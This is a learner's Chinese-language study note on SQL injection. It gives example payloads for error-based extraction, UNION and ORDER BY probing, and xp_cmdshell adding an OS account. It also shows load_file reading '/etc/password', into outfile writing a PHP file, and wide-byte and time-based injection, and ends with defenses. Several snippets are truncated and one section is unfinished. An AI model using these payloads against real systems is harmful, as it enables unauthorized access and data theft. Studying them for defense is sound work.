13号补笔记…5章的内容…
第五章——sql注入漏洞。
一.sql注入漏洞的原因是用户输入的数据被SQL解释其执行。以前的笔记:
注入攻击的本质:1.能够用户控制输入。 2.原来执行的代码拼接了用户的输入。
利用注入漏洞的目的就是绕过程序限制,使用户输入的数据带入数据库,利用数据库获得更大的权限或者更多信息。可以归为查询数据、读写文件、执行命令。
常见注入漏洞可以分为数字型注入和字符型注入。
1 | www.xxser.com/test.php?id=*8* //执行正常成功返回,猜测sql语句为:select * from table where id=8 |
以上是基本的数字型注入。可以修改1=1利用union语句执行联合查询。
1 | select * from table where username='*admin*' //例句 |
–代表注释。输入的第一个’可以反向闭合掉username的输入框。
以上都是布尔值判断注入点存在与否,还有可以通过延时判断(sleep(x))能否注入。
二.常见数据库的注入(sql sever和 mysql)
(1).sql server
sql server是微软开发,用在大型数据库的数据库管理系统。
1).利用错误回显提取信息。
1.枚举当前表及列
select * from users where username='*root*' and password='*root' having 1=1--*'
报错:user.id无效,没有包含在聚合函数或者gruop by子句中。继续构造:
select * from users where username='*root*' and password='*root' gruop by user.id having 1=1--*'
报错:user.username无效。循环,直到查询出所有列名。
2.利用数据类型错误提取数据。
select * from users where username='*root*' and password='*root' and 1>(select top 1 username from users)*'
报错:varchar值root转换为int失败。找到账户名root。
select * from users where username='*root*' and password='*root' and 1>(select top 1 username from users where username not in ('root'))*'
找到下一个username。
2).order by 子句
1 | select id,username,password,form users where id=1 // sql正常执行 |
异常:order by位号4超出列表中项数的范围。得知当前sql语句有几列存在,可以配合union关键字进行下一步攻击。
3).union查询
union查询基本规则:所有查询的列数必须相同,数据类型必须兼容。
1 | select id,username,password,sex from users where id=1 union select null ; |
4).存储过程
类似系统自带的函数。
最容易使用的存储过程是xp_cmdshell,这个存储过程允许用户操作系统函数。
select * from table where id = *1; exec (xp_cmdshell 'net user test test /add')*
//动态执行,添加test账户,登录密码test`
类似的存储过程还有xp_regread(读取注册表),xp_regdeletevalue(删除注册表),xp_dirtree(读取目录)
5).动态执行
sql server支持动态执行,用户可以提交一个字符串来执行sql语句。
1 | exec('select username from users') |
(2).mysql
mysql是一个创业的小青年,只能运行中小型数据库。
1).获取元数据
通过mysql提供的信息数据库information_schema,information_schema获取元数据。
1 | select schema_name from information_schema.schemata limit 0,1 //从information_schema.schemata表中查询出第一个数据库名称。 |
2).union查询
明天装了mysql测试了再来补。
3).函数利用
1.load_file()
使用mysql读取磁盘文件是非常容易的。文件必须在磁盘上,并且路径必须为绝对路径,要求用户持有file权限。
union select 1,load_file('/etc/password'),3,4,5 #
2.into outfile
向磁盘写入文件的操作。要求类似load_file()。
select '<?php phpinfo();?>' into outfile 'c:\wwwroot\1.php'
3.链接函数concat_ws()
select name from student where id=1 union select concat(user(),0x2c,database(),0x2c,version())
4).显错式注入
使用错误提取数据库信息,类似sql server。
5).宽字节注入
宽字节注入是由编码不统一造成的,一般出现在php+mysql中。当php.ini中的magic_quotes_gpc(魔术引号)开启时,get,post,cookie接受的’ " \和null字符都会被加一个\转义。
1 | <?php |
get接收到的id若是’会被转义为’。但是,当输入“%d5’”时,会被转义为“珹’”。在这个情况下,单引号就没有被转义了。
6).长字符截断
当sql_mode选项为dafault时,strict_all_tables选项是关闭的。这时mysql对插入超长的值只会提示warning而不是error。
这时,定义一个username为varchar(8)。若插入一个username为"admin x",出现警告后仍然插入到数据库,长度为8。
假如管理员登陆用户名是admin,攻击者注册一个admin…x。也可以进入后台管理界面。
7).延时注入
延时注入属于盲注技巧的一种。
select * from users where id=1 and sleep(5); //5秒后执行语句
可以用sleep函数判断url是否存在sql注入漏洞。
1 | www.xxx.org/uesr.jsp?id=1 // 正常返回 |
三、防御sql注入
1.严格设定参数的数据类型。
2.特俗字符转义。
3.使用预编译语句。参考以前的笔记。预编译语句在创建的时候就已经将sql语句发送给dbms(数据库管理系统)完成了解析检查编译的工作,使用时只是将变量传给已经预编译好的sql语句。
4.谨慎使用存储过程。
5.利用框架技术提供的封装技术。类似预编译。
练字√ 锻炼√